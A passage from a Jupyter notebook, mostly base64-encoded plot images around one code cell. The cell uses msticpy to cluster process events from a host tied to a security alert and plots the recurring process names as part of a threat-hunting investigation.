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\n", "text/plain": [ "
" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "from msticpy.sectools.eventcluster import dbcluster_events, add_process_features\n", "\n", "processes_on_host = qry.list_processes(provs=[query_times, security_alert])\n", "feature_procs = add_process_features(input_frame=processes_on_host,\n", " path_separator=security_alert.path_separator)\n", "\n", "\n", "# you might need to play around with the max_cluster_distance parameter.\n", "# decreasing this gives more clusters.\n", "(clus_events, dbcluster, x_data) = dbcluster_events(data=feature_procs,\n", " cluster_columns=['commandlineTokensFull', \n", " 'pathScore', \n", " 'isSystemSession'],\n", " max_cluster_distance=0.0001)\n", "print('Number of input events:', len(feature_procs))\n", "print('Number of clustered events:', len(clus_events))\n", "clus_events[['ClusterSize', 'processName']][clus_events['ClusterSize'] > 1].plot.bar(x='processName', \n", " title='Process names with Cluster > 1', \n", " figsize=(12,3));" ] }, { "cell_type": "code", "execution_count": 122, "metadata": { "scrolled": false }, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAA0AAAALRCAYAAAByLsMQAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDMuMC4yLCBodHRwOi8vbWF0cGxvdGxpYi5vcmcvOIA7rQAAIABJREFUeJzs3XdUVFf38PEvIGDBWFEfewvE3hWjgiUxKk3A3ruxEg0IFooYJBSxRMEaDEYskS52sZBYEpNYEKNYQqwQQOMDSJuZ9w9e55d5EMVERGV/1spazOXec/bdM0lmc849R0ulUqkQQgghhBBCiDJAu7QDEEIIIYQQQojXRQogIYQQQgghRJkhBZAQQgghhBCizJACSAghhBBCCFFmSAEkhBBCCCGEKDOkABJCCCGEEEKUGVIACSGEEEKUoNGjRzN16tRn/i41NZWWLVty7Nixf9S2g4MD8+bNK9a53333HT169Cjy96dOncLY2JicnBySkpIwNjbmxo0bAIwcORI/Pz8AcnNzCQkJ+UfxFsfWrVvp1q0bHTp04Pr16888JzU1lWXLltG3b1/atm3LJ598QmBgILm5uSUW15vA2tqagIAAQPO9//t796o5ODhgbGxc5D9P43mekydPYmxsTH5+/iuP758oV9oBCCGEEEK8ywYPHszSpUv566+/qFKlisbv9u3bR5UqVejVq9c/atvNze1VhAhA586d+f7779HX1y/0u8DAQHR1dQGIjIxk3bp1jBo16pX1/VReXh5+fn58+umn2NjYUKdOnULn3L59m1GjRtGqVSu8vb2pU6cOly9fxtPTk/j4eNatW/fK43rTPe+9+7fc3NxwcnIC4Pr160yYMIHw8HAMDQ0BqFSp0ivvs6RJASSEEEIIUYIGDBjAsmXLOHLkCHZ2dhq/i4mJwdzcnHLl/tlXssqVK7+KEAHQ09NTf6n9X1WrVn1l/TxPdnY2eXl5mJiYUK9evWee4+bmhpGREQEBAWhrF0xmatCgAYaGhowaNYrvv/+enj17vpZ43xTPe+/+rcqVK6s/Z6mpqQBUr169xPp7HWQKnBBCCCFECapcuTJ9+vThwIEDGsfv3LnD+fPnGTx4sPrY119/Tf/+/WndujXdunXDycmJrKwsAFauXMn06dOZOHEinTt3JjIystAUuOdd/9S6devo2rUr3bp1Y/Xq1SiVSuD506ieToE7deoUS5YsITU1FWNjY86dO0eLFi348ccf1eeqVCr69u1LRETEM/Nx4cIFxo4dS4cOHejZsycrVqwgPz+fpKQkOnfuDBRMG5wwYUKha+/du8epU6eYPHmyuvh5qlOnTnzzzTd06NABgJycHFatWqWeJjdq1CguXryocU8bN25k+vTp6ml0586dY/v27fTs2ZMuXbrg5eWlPt/BwYHly5fj5ORE+/btMTMz4+DBgxw4cIB+/frRsWNHPv/8c/Ly8gDIz89nxYoV9OnTh1atWtGjRw+WL1+OQqFQv59z585l+fLldO3alZ49e+Lp6al+PwA2bdpEr1696NSpE6tXr0alUj0zp39/7/Lz8zE2NiYiIgIbGxvat2/PsGHDNO49OTmZuXPnqt8DFxcXMjIyntl2cf3666+MGTNG3ebKlSuLnPIWFBREhw4d+PXXX9XxzJkzhw4dOtCrVy/c3NzU8eTk5Kjvx9ramvbt2zN8+HAuXbqkbu/bb7+lX79+tG7dmkGDBhETE/PcWKUAEkIIIYQoYdbW1pw+fZq//vpLfSwmJobmzZvTunVrACIiIggMDGTx4sUcPHgQT09PDh06xHfffae+5vjx43Tv3p2dO3cWmjZXnOtTU1M5e/YswcHBeHl5ERISwubNm4t9H507d8bZ2Znq1avz/fff065dO7p06cLevXvV5/z888+kpaXx8ccfF7r+xo0bjBs3DmNjY/bs2cPSpUsJCwtj9erV1K9fX10kBgQEsHr16kLX//bbb6hUKtq0afPM+ExMTNRTstzd3YmMjMTd3Z3w8HCaNm3KpEmT1KMYT/v55JNPiI6Opl69esyYMYOTJ0+ydetWFixYwNatW/npp5/U54eEhNCsWTOioqLo3r07zs7ObN26la+++gpfX18OHTqk/vK9YcMGYmJi8PHx4eDBg8yfP59t27ZpPO8VGxtLdnY2O3fuZNasWWzbto3Y2Fig4JmtwMBAFi5cyK5du7h58yZXr14t9nu1atUq5s2bx44dO9DW1sbV1RUoKFBnz56NlpYWu3btIiAggJs3b+Lg4FDstv9XYmIi48ePp1WrVuzZswd3d3e+++471q5dW+jc8PBwVq9ezYYNG+jQoQNKpZIZM2agq6vL7t27WbduHdeuXWPBggUa161ZswYHBwd27NiBUqnE3d0dKCi8fHx8cHV15eDBgwwbNgxHR0fu3btXZLxSAAkhhBBClLBevXphYGDAkSNH1Mf27t2LtbW1+nWdOnXw8vLCzMyMevXq8dFHH9GpUyf1QgQAFStWZOrUqTRv3pzq1atr9FGc68uVK4evry8ffPABffv2Zfr06ezYsaPY96Gnp4eBgQHa2toYGhqiq6uLlZUVhw4dUv+1f+/evfTr1++Zz4bs3LmTxo0bs2TJEpo1a0a/fv1wcnIiKCiI/Px8atSoAUCVKlUKPS8F8PjxYwAMDAyeG+fDhw+JiIhg8eLFmJqa0qxZM5YuXUrNmjU1FnDo3r07tra2NGrUCBsbGx4/foyLiwvNmzdn6NCh1K5dm8TERPX5TZs2Zdq0aTRs2JBhw4aRlZXFvHnzaNmypXoE4un5xsbGeHl50aVLF+rXr4+dnR2NGzcu9H66uLjQtGlTRo4cyfvvv8/ly5cB2LFjB6NHj2bQoEE0b96c5cuXv9SUx7Fjx2JqakqLFi2YNGkSV65cQaFQcOrUKW7evImfnx9GRka0bdsWX19fjh07phHby9ixYwfNmzdn4cKFNGvWjI8++ghHR0e2bNmiHhGDgoJv6dKlrF27lq5duwIQFxfHnTt38Pb25v3336dt27b4+Phw9OhRkpKS1NeOGzeOXr160a